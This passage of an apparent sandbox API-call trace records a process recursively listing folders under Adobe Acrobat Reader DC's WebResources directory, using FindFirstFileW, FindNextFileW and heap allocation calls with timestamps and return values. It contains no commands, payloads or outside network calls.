lpFindFileData=0x3f7e420) returned 1 [0285.449] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.449] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.449] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.449] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0 [0285.450] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0285.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.451] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0285.451] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\*", lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0x380c220 [0285.454] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.475] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4651f60 [0285.477] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\*", lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0x380c320 [0285.511] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.511] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.511] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.511] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.511] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0 [0285.513] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0285.513] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4651f60 | out: hHeap=0x640000) returned 1 [0285.514] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0 [0285.514] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0285.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.515] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0 [0285.515] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0285.516] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0285.516] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.517] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4651f60 [0285.517] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\*", lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0x380bd60 [0285.522] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.522] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.523] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.523] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.523] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.523] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.523] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.523] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0 [0285.523] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0285.524] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4651f60 | out: hHeap=0x640000) returned 1 [0285.524] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.525] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.525] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.525] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.525] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.525] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.525] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.525] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.525] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.526] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.526] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.526] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.526] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.526] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.526] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.526] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.527] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.527] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4651f60 [0285.527] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\*", lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0x380bc60 [0285.531] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.531] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.531] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4661f68 [0285.531] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\*", lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0x380be20 [0285.536] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.541] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.541] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.541] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.541] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.541] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.541] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.541] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.541] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.542] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.542] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.542] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.542] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.542] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.542] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.542] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.542] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.543] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.543] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.543] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.543] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.543] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.543] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.543] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.544] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.544] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.544] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.544] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.544] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.544] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.544] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.544] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.545] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.545] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.545] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.545] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0 [0285.546] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0285.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4661f68 | out: hHeap=0x640000) returned 1 [0285.547] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0 [0285.547] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0285.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4651f60 | out: hHeap=0x640000) returned 1 [0285.547] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.547] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4651f60 [0285.547] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\*", lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0x380be20 [0285.559] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.559] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.560] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.560] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.560] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.560] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.560] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4661f68 [0285.560] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\*", lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0x380c0e0 [0285.562] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.562] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.562] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0285.562] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\*", lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0x380c320 [0285.568] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.568] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.568] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.569] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.569] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.569] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.569] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.569] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0 [0285.570] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0285.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0285.571] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0 [0285.571] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0285.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4661f68 | out: hHeap=0x640000) returned 1 [0285.573] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.573] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0 [0285.573] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0285.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4651f60 | out: hHeap=0x640000) returned 1 [0285.573] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0285.573] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4651f60 [0285.574] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\*", lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0x380c220 [0285.579] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.579] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.579] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.579] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.580] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.580] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.580] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.580] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.580] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.580] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.580] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4661f68 [0285.580] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\*", lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0x380c320 [0285.819] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.819] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.819] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0285.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\*", lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0x380c2a0 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.822] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0285.823] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0 [0285.823] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0285.823] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0285.823] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0 [0285.824] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0285.824] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4661f68 | out: hHeap=0x640000) returned 1 [0285.824] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0 [0285.824] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0285.824] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4651f60 | out: hHeap=0x640000) returned 1 [0285.824] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 0 [0285.824] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0285.824] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0285.826] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x3f7eb94 | out: lpFindFileData=0x3f7eb94) returned 1 [0285.826] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4651f60 [0285.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\*", lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 0x380c0e0 [0286.096] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0286.102] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0286.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0286.102] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\*", lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0x380c220 [0286.155] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0286.155] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0286.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4610f18 [0286.155] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\*", lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0x380bc20 [0286.156] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0286.156] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0286.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.156] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\*", lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0x380bc60 [0286.174] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.174] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.174] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.442] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.442] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.442] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.443] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.443] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.443] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.443] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.443] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.443] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.444] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: 